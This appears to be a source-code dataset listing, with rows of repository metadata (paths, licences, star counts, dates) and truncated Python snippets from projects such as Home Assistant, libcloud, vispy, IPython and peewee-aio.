import unittest2 from tests.integration_tests import utils class TestDefaultRules(unittest2.TestCase): def tearDown(self): utils.reset_default_rules() def test__should_validate_all_rules_for_valid_headers(self): headers = utils.get_headers() report = utils.process_test(headers=head...
true
true
08f412d2b54319e596a85df9ed97bfca3e73d0e8
3,974
py
Python
xfields/beam_elements/electroncloud.py
kparasch/xfields
fd288588ee269bf0d18da24ef83f5f925e6c5e4f
[ "MIT" ]
null
null
null
xfields/beam_elements/electroncloud.py
kparasch/xfields
fd288588ee269bf0d18da24ef83f5f925e6c5e4f
[ "MIT" ]
null
null
null
xfields/beam_elements/electroncloud.py
kparasch/xfields
fd288588ee269bf0d18da24ef83f5f925e6c5e4f
[ "MIT" ]
null
null
null
from ..fieldmaps import TriCubicInterpolatedFieldMapData from ..general import _pkg_root import xobjects as xo import xtrack as xt class ElectronCloud(xt.BeamElement): """ Simulates the effect of an electron cloud on a bunch. Args: context (XfContext): identifies the :doc:`context <contexts>` ...
38.211538
85
0.616507
from ..fieldmaps import TriCubicInterpolatedFieldMapData from ..general import _pkg_root import xobjects as xo import xtrack as xt class ElectronCloud(xt.BeamElement): _xofields = { 'x_shift': xo.Float64, 'y_shift': xo.Float64, 'tau_shift': xo.Float64, 'dipolar_px_kick': xo.Floa...
true
true
08f412dfcd8029e260e638973cf35069556d8e8c
25,444
py
Python
homeassistant/components/zha/core/gateway.py
domwillcode/home-assistant
f170c80bea70c939c098b5c88320a1c789858958
[ "Apache-2.0" ]
2
2021-09-13T21:44:02.000Z
2021-12-17T21:20:51.000Z
homeassistant/components/zha/core/gateway.py
domwillcode/home-assistant
f170c80bea70c939c098b5c88320a1c789858958
[ "Apache-2.0" ]
5
2021-02-08T20:51:16.000Z
2022-03-12T00:43:18.000Z
homeassistant/components/zha/core/gateway.py
klauern/home-assistant-core
c18ba6aec0627e6afb6442c678edb5ff2bb17db6
[ "Apache-2.0" ]
2
2020-11-04T07:40:01.000Z
2021-09-13T21:44:03.000Z
"""Virtual gateway for Zigbee Home Automation.""" import asyncio import collections import itertools import logging import os import time import traceback from typing import List, Optional from serial import SerialException from zigpy.config import CONF_DEVICE import zigpy.device as zigpy_dev from homeassistant.comp...
38.204204
102
0.652295
import asyncio import collections import itertools import logging import os import time import traceback from typing import List, Optional from serial import SerialException from zigpy.config import CONF_DEVICE import zigpy.device as zigpy_dev from homeassistant.components.system_log import LogEntry, _figure_out_sou...
true
true
08f413bb389b0ed3b5bc2aaa948e3643c33a94fe
10,469
py
Python
libcloud/dns/drivers/digitalocean.py
myrheimb/libcloud
23439079299cc196b3357bf6446fab22b2f435a8
[ "Apache-2.0" ]
null
null
null
libcloud/dns/drivers/digitalocean.py
myrheimb/libcloud
23439079299cc196b3357bf6446fab22b2f435a8
[ "Apache-2.0" ]
null
null
null
libcloud/dns/drivers/digitalocean.py
myrheimb/libcloud
23439079299cc196b3357bf6446fab22b2f435a8
[ "Apache-2.0" ]
null
null
null
# Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use ...
34.4375
78
0.53816
__all__ = [ 'DigitalOceanDNSDriver' ] import json from libcloud.utils.py3 import httplib from libcloud.common.digitalocean import DigitalOcean_v2_BaseDriver from libcloud.common.digitalocean import DigitalOcean_v2_Connection from libcloud.dns.types import Provider, RecordType from libcloud.dns.base import DNSDr...
true
true
08f4146c93b7a501ad7228bd6e9802490a16c3b9
7,171
py
Python
tests/command_generate_output.py
conao3/oj
1aa253c9027790cdbe9ff44b3858e8f8b839d45e
[ "MIT" ]
2
2020-04-28T14:02:52.000Z
2020-04-28T14:02:54.000Z
tests/command_generate_output.py
conao3/oj
1aa253c9027790cdbe9ff44b3858e8f8b839d45e
[ "MIT" ]
null
null
null
tests/command_generate_output.py
conao3/oj
1aa253c9027790cdbe9ff44b3858e8f8b839d45e
[ "MIT" ]
null
null
null
import os import unittest import tests.utils from tests.utils import cat class GenerateOutputTest(unittest.TestCase): def snippet_call_generate_output(self, args, input_files, expected_values, disallowed_files=None): with tests.utils.sandbox(input_files) as tempdir: tests.utils.run(['generate...
32.595455
142
0.385581
import os import unittest import tests.utils from tests.utils import cat class GenerateOutputTest(unittest.TestCase): def snippet_call_generate_output(self, args, input_files, expected_values, disallowed_files=None): with tests.utils.sandbox(input_files) as tempdir: tests.utils.run(['generate...
true
true
08f414f0850d673ba56fff9a9a14a9da8917a595
43,411
py
Python
com/vmware/vapi/metadata/routing_client.py
adammillerio/vsphere-automation-sdk-python
c07e1be98615201139b26c28db3aa584c4254b66
[ "MIT" ]
null
null
null
com/vmware/vapi/metadata/routing_client.py
adammillerio/vsphere-automation-sdk-python
c07e1be98615201139b26c28db3aa584c4254b66
[ "MIT" ]
null
null
null
com/vmware/vapi/metadata/routing_client.py
adammillerio/vsphere-automation-sdk-python
c07e1be98615201139b26c28db3aa584c4254b66
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- #--------------------------------------------------------------------------- # Copyright 2019 VMware, Inc. All rights reserved. # AUTO GENERATED FILE -- DO NOT MODIFY! # # vAPI stub file for package com.vmware.vapi.metadata.routing. #------------------------------------------------------------...
37.262661
99
0.594826
__author__ = 'VMware, Inc.' __docformat__ = 'restructuredtext en' import sys from vmware.vapi.bindings import type from vmware.vapi.bindings.converter import TypeConverter from vmware.vapi.bindings.enum import Enum from vmware.vapi.bindings.error import VapiError from vmware.vapi.bindings.struct import VapiStruct ...
true
true
08f4158856cb08eba15bb4c15c9b8c678bfc61f8
14,025
py
Python
glue_vispy_viewers/extern/vispy/scene/widgets/console.py
jzuhone/glue-vispy-viewers
d940705f4ba95f8d7a9a74d37fb68c71080b490a
[ "BSD-2-Clause" ]
3
2018-05-09T17:55:53.000Z
2019-07-22T09:14:41.000Z
glue_vispy_viewers/extern/vispy/scene/widgets/console.py
jzuhone/glue-vispy-viewers
d940705f4ba95f8d7a9a74d37fb68c71080b490a
[ "BSD-2-Clause" ]
9
2017-04-07T01:44:15.000Z
2018-12-16T20:47:08.000Z
graphViz/vispy/scene/widgets/console.py
onecklam/ethereum-graphviz
6993accf0cb85e23013bf7ae6b04145724a6dbd2
[ "Apache-2.0" ]
1
2017-09-29T01:24:47.000Z
2017-09-29T01:24:47.000Z
# -*- coding: utf-8 -*- # ----------------------------------------------------------------------------- # Copyright (c) 2015, Vispy Development Team. All Rights Reserved. # Distributed under the (new) BSD License. See LICENSE.txt for more info. # -------------------------------------------------------------------------...
39.957265
79
0.580535
import numpy as np from .widget import Widget from ...visuals import Visual from ...gloo import VertexBuffer from ...color import Color from ...ext.six import string_types __font_6x8__ = np.array([ (0x00, 0x00, 0x00, 0x00, 0x00, 0x00), (0x10, 0xE3, 0x84, 0x10, 0x01, 0x00), (0x6D, 0xB4, 0x80, 0x00, 0x00, 0x...
true
true
08f415e3f24004d66027c5ab3959ea40ff67903f
1,785
py
Python
neorl/neorl_envs/ib/industrial_benchmark_python/goldstone/environment.py
ssimonc/NeoRL
098c58c8e4c3e43e67803f6384619d3bfe7fce5d
[ "Apache-2.0" ]
50
2021-02-07T08:10:28.000Z
2022-03-25T09:10:26.000Z
neorl/neorl_envs/ib/industrial_benchmark_python/goldstone/environment.py
ssimonc/NeoRL
098c58c8e4c3e43e67803f6384619d3bfe7fce5d
[ "Apache-2.0" ]
7
2021-07-29T14:58:31.000Z
2022-02-01T08:02:54.000Z
neorl/neorl_envs/ib/industrial_benchmark_python/goldstone/environment.py
ssimonc/NeoRL
098c58c8e4c3e43e67803f6384619d3bfe7fce5d
[ "Apache-2.0" ]
4
2021-04-01T16:30:15.000Z
2022-03-31T17:38:05.000Z
# coding=utf-8 from __future__ import division ''' The MIT License (MIT) Copyright 2017 Siemens AG Author: Alexander Hentschel Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction...
44.625
118
0.791036
from __future__ import division from neorl.neorl_envs.ib.industrial_benchmark_python.goldstone.dynamics import dynamics class environment: def __init__(self, number_steps, max_required_step, safe_zone): self._dynamics = dynamics(number_steps, max_required_step, safe_zone) def reward(self, phi_idx, po...
true
true
08f416c9cc70c4158f1fd23f990efd4d33e28498
6,285
py
Python
openstack/tests/functional/cloud/test_image.py
tj8000rpm/openstacksdk
161e49f60ae543bdd08e78b875295de51d2f25a3
[ "Apache-2.0" ]
null
null
null
openstack/tests/functional/cloud/test_image.py
tj8000rpm/openstacksdk
161e49f60ae543bdd08e78b875295de51d2f25a3
[ "Apache-2.0" ]
null
null
null
openstack/tests/functional/cloud/test_image.py
tj8000rpm/openstacksdk
161e49f60ae543bdd08e78b875295de51d2f25a3
[ "Apache-2.0" ]
1
2020-07-21T02:18:23.000Z
2020-07-21T02:18:23.000Z
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under t...
36.754386
76
0.585203
import filecmp import os import tempfile from openstack.tests.functional import base class TestImage(base.BaseFunctionalTest): def setUp(self): super(TestImage, self).setUp() self.image = self.pick_image() def test_create_image(self): test_image = tempfile.NamedTemporaryFile(delete...
true
true
08f41941e4231488ab2c7a4adde23fccf32de62e
1,242
py
Python
backend/core/websockets.py
blcoyote/WeatehrApi-SqlModel
0dff548bccd317e55bf3b1e9d565e2fcaee4d107
[ "MIT" ]
1
2021-08-28T16:51:38.000Z
2021-08-28T16:51:38.000Z
backend/core/websockets.py
blcoyote/WeatehrApi-SqlModel
0dff548bccd317e55bf3b1e9d565e2fcaee4d107
[ "MIT" ]
5
2021-08-28T18:39:17.000Z
2021-10-18T08:01:23.000Z
backend/core/websockets.py
blcoyote/WeatherApi-SqlModel
0dff548bccd317e55bf3b1e9d565e2fcaee4d107
[ "MIT" ]
null
null
null
from typing import List from loguru import logger from starlette.websockets import WebSocket, WebSocketDisconnect class Notifier: def __init__(self): self.connections: List[WebSocket] = [] self.generator = self.get_notification_generator() async def get_notification_generator(self): w...
31.846154
79
0.655395
from typing import List from loguru import logger from starlette.websockets import WebSocket, WebSocketDisconnect class Notifier: def __init__(self): self.connections: List[WebSocket] = [] self.generator = self.get_notification_generator() async def get_notification_generator(self): w...
true
true
08f4194853f7a72e3b2983ef0f80841baacf9c09
7,674
py
Python
IPython/external/mglob.py
wackywendell/ipyurwid
c4b45eab791bc23aac99e3b6d9b89d0c265bace2
[ "BSD-3-Clause" ]
1
2016-06-22T11:43:13.000Z
2016-06-22T11:43:13.000Z
IPython/external/mglob.py
08saikiranreddy/ipython
3498382180ad409592f46a9dd0d190ca917bfbff
[ "BSD-3-Clause-Clear" ]
null
null
null
IPython/external/mglob.py
08saikiranreddy/ipython
3498382180ad409592f46a9dd0d190ca917bfbff
[ "BSD-3-Clause-Clear" ]
null
null
null
#!/usr/bin/env python r""" mglob - enhanced file list expansion module Use as stand-alone utility (for xargs, `backticks` etc.), or a globbing library for own python programs. Globbing the sys.argv is something that almost every Windows script has to perform manually, and this module is here to help with that task....
33.365217
87
0.532447
r""" mglob - enhanced file list expansion module Use as stand-alone utility (for xargs, `backticks` etc.), or a globbing library for own python programs. Globbing the sys.argv is something that almost every Windows script has to perform manually, and this module is here to help with that task. Also Unix users will ...
false
true
08f419942c37d53dd5513d034c5acee2514771bd
1,236
py
Python
optimade/filter.py
wuxiaohua1011/optimade-python-tools
9d9ad70f643fd600fd5455948e3b152e9c0979c5
[ "BSD-3-Clause-LBNL" ]
null
null
null
optimade/filter.py
wuxiaohua1011/optimade-python-tools
9d9ad70f643fd600fd5455948e3b152e9c0979c5
[ "BSD-3-Clause-LBNL" ]
null
null
null
optimade/filter.py
wuxiaohua1011/optimade-python-tools
9d9ad70f643fd600fd5455948e3b152e9c0979c5
[ "BSD-3-Clause-LBNL" ]
1
2018-11-21T18:37:41.000Z
2018-11-21T18:37:41.000Z
import os import re from glob import glob from lark import Lark, Tree parser = {} for name in glob(os.path.join(os.path.dirname(__file__), "grammar", "*.g")): with open(name) as f: ver = tuple( int(n) for n in re.findall(r"\d+", str(os.path.basename(name).split(".g")[0])) )...
26.869565
76
0.549353
import os import re from glob import glob from lark import Lark, Tree parser = {} for name in glob(os.path.join(os.path.dirname(__file__), "grammar", "*.g")): with open(name) as f: ver = tuple( int(n) for n in re.findall(r"\d+", str(os.path.basename(name).split(".g")[0])) )...
true
true
08f419e8de9241c2c5df6804bdf6ba49365de486
936
py
Python
tools/bin/gppylib/util/__init__.py
YangHao666666/hawq
10cff8350f1ba806c6fec64eb67e0e6f6f24786c
[ "Artistic-1.0-Perl", "ISC", "bzip2-1.0.5", "TCL", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "PostgreSQL", "BSD-3-Clause" ]
450
2015-09-05T09:12:51.000Z
2018-08-30T01:45:36.000Z
tools/bin/gppylib/util/__init__.py
YangHao666666/hawq
10cff8350f1ba806c6fec64eb67e0e6f6f24786c
[ "Artistic-1.0-Perl", "ISC", "bzip2-1.0.5", "TCL", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "PostgreSQL", "BSD-3-Clause" ]
1,274
2015-09-22T20:06:16.000Z
2018-08-31T22:14:00.000Z
tools/bin/gppylib/util/__init__.py
YangHao666666/hawq
10cff8350f1ba806c6fec64eb67e0e6f6f24786c
[ "Artistic-1.0-Perl", "ISC", "bzip2-1.0.5", "TCL", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "PostgreSQL", "BSD-3-Clause" ]
278
2015-09-21T19:15:06.000Z
2018-08-31T00:36:51.000Z
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
46.8
72
0.773504
from os.path import abspath as _abspath __path__[0] = _abspath(__path__[0])
true
true
08f41b0d12caeaa9cf3f7f02ac2c43ec36809546
128
py
Python
ptf/tests/framework_tests/EnvDumper.py
chrisdonlan/fprime
0cab90e238cff1b50c20f1e148a44cf8827a5bf8
[ "Apache-2.0" ]
5
2019-10-22T03:41:02.000Z
2022-01-16T12:48:31.000Z
ptf/tests/framework_tests/EnvDumper.py
chrisdonlan/fprime
0cab90e238cff1b50c20f1e148a44cf8827a5bf8
[ "Apache-2.0" ]
27
2019-02-07T17:58:58.000Z
2019-08-13T00:46:24.000Z
ptf/tests/framework_tests/EnvDumper.py
chrisdonlan/fprime
0cab90e238cff1b50c20f1e148a44cf8827a5bf8
[ "Apache-2.0" ]
3
2020-09-05T18:17:21.000Z
2020-11-15T04:06:24.000Z
#!/dsw/Python-2.4.3r1_32/bin/python import os for var in list(os.environ.keys()): print("%s = %s" % (var,os.environ[var]))
21.333333
44
0.632813
import os for var in list(os.environ.keys()): print("%s = %s" % (var,os.environ[var]))
true
true
08f41b59049b6906a6ea6f0db74205fc980d4240
1,791
py
Python
tests/functional/test_local_build.py
cheese/packit
790b01a30575b6bfd680fdc991542ba60e40a9f2
[ "MIT" ]
null
null
null
tests/functional/test_local_build.py
cheese/packit
790b01a30575b6bfd680fdc991542ba60e40a9f2
[ "MIT" ]
null
null
null
tests/functional/test_local_build.py
cheese/packit
790b01a30575b6bfd680fdc991542ba60e40a9f2
[ "MIT" ]
null
null
null
# MIT License # # Copyright (c) 2020 Red Hat, Inc. # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge,...
38.934783
80
0.756002
from pathlib import Path from tests.functional.spellbook import call_real_packit def test_rpm_command(ogr_distgit_and_remote): call_real_packit( parameters=["--debug", "local-build"], cwd=ogr_distgit_and_remote[0] ) rpm_paths = ogr_distgit_and_remote[0].glob("noarch/*.rpm") assert all([rpm...
true
true
08f41ca19516d637a1079dc447fc4b2e4cbe41e8
2,934
py
Python
application/game/tests/test_generator_points_calculator.py
bykof/dragonball-clicker
70e7683a2617472c0d073adaa71203584bf42c87
[ "MIT" ]
1
2020-04-26T01:46:55.000Z
2020-04-26T01:46:55.000Z
application/game/tests/test_generator_points_calculator.py
bykof/dragonball-clicker
70e7683a2617472c0d073adaa71203584bf42c87
[ "MIT" ]
null
null
null
application/game/tests/test_generator_points_calculator.py
bykof/dragonball-clicker
70e7683a2617472c0d073adaa71203584bf42c87
[ "MIT" ]
1
2020-05-26T14:02:46.000Z
2020-05-26T14:02:46.000Z
import unittest from decimal import Decimal from application.game.generator_points_calculator import GeneratorPointsCalculator from models import Generator, GeneratorPurchase class TestGeneratorPointsCalculator(unittest.TestCase): def test_calculate_points(self): self.assertEqual( Decimal(0),...
31.212766
82
0.423654
import unittest from decimal import Decimal from application.game.generator_points_calculator import GeneratorPointsCalculator from models import Generator, GeneratorPurchase class TestGeneratorPointsCalculator(unittest.TestCase): def test_calculate_points(self): self.assertEqual( Decimal(0),...
true
true
08f41d056223bb0d082ae97e2238552ab6eb9ed7
2,853
py
Python
app/files/writexlsx.py
aiakobou/Wochenplanung
dc1f61d561d4ff06579c79192eb283dd67448ca8
[ "MIT" ]
null
null
null
app/files/writexlsx.py
aiakobou/Wochenplanung
dc1f61d561d4ff06579c79192eb283dd67448ca8
[ "MIT" ]
null
null
null
app/files/writexlsx.py
aiakobou/Wochenplanung
dc1f61d561d4ff06579c79192eb283dd67448ca8
[ "MIT" ]
null
null
null
#!/usr/bin/env python '''Schreiben der Daten in die Excel-Datei und Formatieren''' __author__ = 'Andreas Iakobou' __version__ = '1.0' __email__ = 'andreas.iakobou@partner.bmw.de' import datetime from datetime import timedelta import openpyxl from openpyxl.styles import PatternFill, Border, Side, Alignment, Protectio...
34.373494
121
0.660708
__author__ = 'Andreas Iakobou' __version__ = '1.0' __email__ = 'andreas.iakobou@partner.bmw.de' import datetime from datetime import timedelta import openpyxl from openpyxl.styles import PatternFill, Border, Side, Alignment, Protection, Font from openpyxl.styles import colors from openpyxl.styles import Font, Color ...
true
true
08f41dd371a946e123315163505e6f3dec9b999f
392
py
Python
04-perfectionnez-vous/karadoc.py
gruiick/openclassrooms-py
add4b28eab8b311dea7c1d3915a22061f54326a9
[ "BSD-2-Clause" ]
null
null
null
04-perfectionnez-vous/karadoc.py
gruiick/openclassrooms-py
add4b28eab8b311dea7c1d3915a22061f54326a9
[ "BSD-2-Clause" ]
null
null
null
04-perfectionnez-vous/karadoc.py
gruiick/openclassrooms-py
add4b28eab8b311dea7c1d3915a22061f54326a9
[ "BSD-2-Clause" ]
null
null
null
#!/usr/bin/env python3 # coding: utf-8 # # $Id: karadoc.py 1.1 $ # SPDX-License-Identifier: BSD-2-Clause if __name__ == '__main__': """ example, why 'main' """ print("Les chicots, c'est sacré ! Parce que si j'les lave pas maintenant, dans dix ans, c'est tout à la soupe. Et l'mec qui me fera manger de la soupe ...
30.153846
172
0.660714
if __name__ == '__main__': print("Les chicots, c'est sacré ! Parce que si j'les lave pas maintenant, dans dix ans, c'est tout à la soupe. Et l'mec qui me fera manger de la soupe il est pas né !") else: print('Du passé faisons table en marbre.')
true
true
08f41e39ed370b3b61c63b9483cd97a3fab2df44
1,646
py
Python
src/waldur_mastermind/booking/tests/test_invoice.py
geant-multicloud/MCMS-mastermind
81333180f5e56a0bc88d7dad448505448e01f24e
[ "MIT" ]
26
2017-10-18T13:49:58.000Z
2021-09-19T04:44:09.000Z
src/waldur_mastermind/booking/tests/test_invoice.py
geant-multicloud/MCMS-mastermind
81333180f5e56a0bc88d7dad448505448e01f24e
[ "MIT" ]
14
2018-12-10T14:14:51.000Z
2021-06-07T10:33:39.000Z
src/waldur_mastermind/booking/tests/test_invoice.py
geant-multicloud/MCMS-mastermind
81333180f5e56a0bc88d7dad448505448e01f24e
[ "MIT" ]
32
2017-09-24T03:10:45.000Z
2021-10-16T16:41:09.000Z
from django.utils import timezone from freezegun import freeze_time from rest_framework import test from waldur_mastermind.invoices import models as invoices_models from waldur_mastermind.invoices.tasks import create_monthly_invoices from . import fixtures @freeze_time('2020-11-01') class InvoiceTest(test.APITransa...
36.577778
81
0.712637
from django.utils import timezone from freezegun import freeze_time from rest_framework import test from waldur_mastermind.invoices import models as invoices_models from waldur_mastermind.invoices.tasks import create_monthly_invoices from . import fixtures @freeze_time('2020-11-01') class InvoiceTest(test.APITransa...
true
true
08f41e82e3937236bc0ed8a4bf26a38f4a470dfb
1,932
py
Python
day16/day16_2.py
DanTGL/AdventOfCode2020
bf7cd6a4fb7701155785b941facdc1e4859ba297
[ "MIT" ]
null
null
null
day16/day16_2.py
DanTGL/AdventOfCode2020
bf7cd6a4fb7701155785b941facdc1e4859ba297
[ "MIT" ]
null
null
null
day16/day16_2.py
DanTGL/AdventOfCode2020
bf7cd6a4fb7701155785b941facdc1e4859ba297
[ "MIT" ]
null
null
null
import math from collections import defaultdict inputs = [line.splitlines() for line in open("day16/input").read().split("\n\n")] values = dict() for i in inputs[0]: value, ranges = i.split(": ") ranges = [list(map(int, num.split("-"))) for num in ranges.split(" or ")] values[value] = ranges valid_t...
26.833333
81
0.587992
import math from collections import defaultdict inputs = [line.splitlines() for line in open("day16/input").read().split("\n\n")] values = dict() for i in inputs[0]: value, ranges = i.split(": ") ranges = [list(map(int, num.split("-"))) for num in ranges.split(" or ")] values[value] = ranges valid_t...
true
true
08f41f138185b6cb60d632e52831ec6c5c6f81b3
7,287
py
Python
peewee_aio/model.py
klen/peewee-aio
723c5f5333f5a814fefe682b175faadb9e86f747
[ "MIT" ]
5
2021-09-07T13:39:47.000Z
2022-01-14T16:01:26.000Z
peewee_aio/model.py
klen/peewee-aio
723c5f5333f5a814fefe682b175faadb9e86f747
[ "MIT" ]
1
2021-11-01T06:28:12.000Z
2021-11-01T12:05:50.000Z
peewee_aio/model.py
klen/peewee-aio
723c5f5333f5a814fefe682b175faadb9e86f747
[ "MIT" ]
null
null
null
"""TODO: To implement.""" from __future__ import annotations import typing as t from peewee import SQL, ForeignKeyAccessor, ForeignKeyField, Model, ModelBase from peewee import ModelDelete as ModelDelete_ from peewee import ModelInsert as ModelInsert_ from peewee import ModelRaw as ModelRaw_ from peewee import Model...
29.383065
96
0.640456
from __future__ import annotations import typing as t from peewee import SQL, ForeignKeyAccessor, ForeignKeyField, Model, ModelBase from peewee import ModelDelete as ModelDelete_ from peewee import ModelInsert as ModelInsert_ from peewee import ModelRaw as ModelRaw_ from peewee import ModelSelect as ModelSelect_ fro...
true
true
08f41f35b8a696aa3aff7448cb90b3a28e3a4c92
1,610
py
Python
tests/test_widget_integerinput.py
prafullkotecha/django-material
a81641634893db132d17a4b355b66c3e12bceeff
[ "BSD-3-Clause" ]
null
null
null
tests/test_widget_integerinput.py
prafullkotecha/django-material
a81641634893db132d17a4b355b66c3e12bceeff
[ "BSD-3-Clause" ]
null
null
null
tests/test_widget_integerinput.py
prafullkotecha/django-material
a81641634893db132d17a4b355b66c3e12bceeff
[ "BSD-3-Clause" ]
1
2021-11-04T15:25:11.000Z
2021-11-04T15:25:11.000Z
import json from django import forms from django.test.utils import override_settings from django_webtest import WebTest from . import build_test_urls class IntegerInputForm(forms.Form): test_field = forms.IntegerField( min_value=10, max_value=20, widget=forms.NumberInput(attrs={'data-test...
32.857143
102
0.67205
import json from django import forms from django.test.utils import override_settings from django_webtest import WebTest from . import build_test_urls class IntegerInputForm(forms.Form): test_field = forms.IntegerField( min_value=10, max_value=20, widget=forms.NumberInput(attrs={'data-test...
true
true
08f41f43e27af12a525aa53c455c3b20895f123e
4,552
py
Python
tests/test_benchmarks.py
aviramha/fastuuid
ffcfaf166d7b6043097542554d2b4d81cd0daf6d
[ "BSD-3-Clause" ]
null
null
null
tests/test_benchmarks.py
aviramha/fastuuid
ffcfaf166d7b6043097542554d2b4d81cd0daf6d
[ "BSD-3-Clause" ]
null
null
null
tests/test_benchmarks.py
aviramha/fastuuid
ffcfaf166d7b6043097542554d2b4d81cd0daf6d
[ "BSD-3-Clause" ]
null
null
null
from concurrent.futures import ThreadPoolExecutor from uuid import UUID, uuid3, uuid4, uuid5 import pytest from fastuuid import UUID as FastUUID from fastuuid import uuid3 as fastuuid3 from fastuuid import uuid4 as fastuuid4 from fastuuid import uuid4_bulk, uuid4_as_strings_bulk from fastuuid import uuid5 as fastuuid5...
27.587879
72
0.72254
from concurrent.futures import ThreadPoolExecutor from uuid import UUID, uuid3, uuid4, uuid5 import pytest from fastuuid import UUID as FastUUID from fastuuid import uuid3 as fastuuid3 from fastuuid import uuid4 as fastuuid4 from fastuuid import uuid4_bulk, uuid4_as_strings_bulk from fastuuid import uuid5 as fastuuid5...
true
true
08f41f90c68b312822adb2951cb996e142ab0d26
6,707
py
Python
aiida/backends/djsite/db/migrations/0007_update_linktypes.py
tomzhang/aiida_core
949810e9f3daff0f748c5c9aa1dde4f5222bb49b
[ "BSD-2-Clause" ]
1
2019-04-29T12:39:31.000Z
2019-04-29T12:39:31.000Z
aiida/backends/djsite/db/migrations/0007_update_linktypes.py
tomzhang/aiida_core
949810e9f3daff0f748c5c9aa1dde4f5222bb49b
[ "BSD-2-Clause" ]
null
null
null
aiida/backends/djsite/db/migrations/0007_update_linktypes.py
tomzhang/aiida_core
949810e9f3daff0f748c5c9aa1dde4f5222bb49b
[ "BSD-2-Clause" ]
null
null
null
# -*- coding: utf-8 -*- ########################################################################### # Copyright (c), The AiiDA team. All rights reserved. # # This file is part of the AiiDA code. # # ...
50.052239
124
0.57686
from __future__ import unicode_literals from __future__ import absolute_import from django.db import migrations from aiida.backends.djsite.db.migrations import upgrade_schema_version REVISION = '1.0.8' DOWN_REVISION = '1.0.7' class Migration(migrations.Migration): dependencies = [ ('db', '0006_delete_...
true
true
08f420b428c85da5435108a8f5e9df4f6196fb63
8,485
py
Python
pyserini/search/hybrid/__main__.py
vjeronymo2/pyserini
441077bc3891a8db0e166382cf6c88ba051f289b
[ "Apache-2.0" ]
null
null
null
pyserini/search/hybrid/__main__.py
vjeronymo2/pyserini
441077bc3891a8db0e166382cf6c88ba051f289b
[ "Apache-2.0" ]
null
null
null
pyserini/search/hybrid/__main__.py
vjeronymo2/pyserini
441077bc3891a8db0e166382cf6c88ba051f289b
[ "Apache-2.0" ]
null
null
null
# # Pyserini: Reproducible IR research with sparse and dense representations # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required...
45.864865
153
0.656217
import argparse import json import os import sys from tqdm import tqdm from pyserini.search.faiss import FaissSearcher from pyserini.query_iterator import get_query_iterator, TopicsFormat from pyserini.output_writer import get_output_writer, OutputFormat from pyserini.search.lucene import LuceneImpactSearcher, Lucen...
true
true
08f421abe0de8e97b7c7c20221d4f6b0d9aac8b5
1,401
py
Python
demo/heatmapcluster_example2.py
WarrenWeckesser/heatmapcluster
534db493ec13b37e1c0c97d8d9f6a2f8670a89fc
[ "BSD-2-Clause" ]
28
2015-06-11T20:26:51.000Z
2022-01-28T22:55:02.000Z
demo/heatmapcluster_example2.py
WarrenWeckesser/heatmapcluster
534db493ec13b37e1c0c97d8d9f6a2f8670a89fc
[ "BSD-2-Clause" ]
4
2015-07-27T15:08:35.000Z
2017-07-08T04:24:43.000Z
demo/heatmapcluster_example2.py
WarrenWeckesser/heatmapcluster
534db493ec13b37e1c0c97d8d9f6a2f8670a89fc
[ "BSD-2-Clause" ]
9
2015-07-28T08:56:49.000Z
2021-04-12T01:38:20.000Z
import numpy as np from scipy.cluster.hierarchy import linkage import matplotlib.pyplot as plt from heatmapcluster import heatmapcluster def make_data(size, seed=None): if seed is not None: np.random.seed(seed) s = np.random.gamma([7, 6, 5], [6, 8, 6], size=(size[1], 3)).T i = np.random.choice(r...
31.133333
71
0.538901
import numpy as np from scipy.cluster.hierarchy import linkage import matplotlib.pyplot as plt from heatmapcluster import heatmapcluster def make_data(size, seed=None): if seed is not None: np.random.seed(seed) s = np.random.gamma([7, 6, 5], [6, 8, 6], size=(size[1], 3)).T i = np.random.choice(r...
true
true
08f421dc0a0c33267c9ca969300c2f8abd09bdab
889
py
Python
ooobuild/dyn/chart/chart_table_address_supplier.py
Amourspirit/ooo_uno_tmpl
64e0c86fd68f24794acc22d63d8d32ae05dd12b8
[ "Apache-2.0" ]
null
null
null
ooobuild/dyn/chart/chart_table_address_supplier.py
Amourspirit/ooo_uno_tmpl
64e0c86fd68f24794acc22d63d8d32ae05dd12b8
[ "Apache-2.0" ]
null
null
null
ooobuild/dyn/chart/chart_table_address_supplier.py
Amourspirit/ooo_uno_tmpl
64e0c86fd68f24794acc22d63d8d32ae05dd12b8
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 # # Copyright 2022 :Barry-Thomas-Paul: Moss # # Licensed under the Apache License, Version 2.0 (the "License") # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http: // www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
34.192308
107
0.770529
from ...lo.chart.chart_table_address_supplier import ChartTableAddressSupplier as ChartTableAddressSupplier __all__ = ['ChartTableAddressSupplier']
true
true
08f422b8824482bc1ed29642e0f0cf375d523949
3,335
py
Python
lib/utils/wbf.py
iShohei220/kaggle-pku-autonomous-driving
647f1c48044f0c2cebcc5cb71854cb39ace0078c
[ "MIT" ]
21
2020-01-22T05:18:52.000Z
2021-09-28T15:55:10.000Z
lib/utils/wbf.py
iShohei220/kaggle-pku-autonomous-driving
647f1c48044f0c2cebcc5cb71854cb39ace0078c
[ "MIT" ]
null
null
null
lib/utils/wbf.py
iShohei220/kaggle-pku-autonomous-driving
647f1c48044f0c2cebcc5cb71854cb39ace0078c
[ "MIT" ]
10
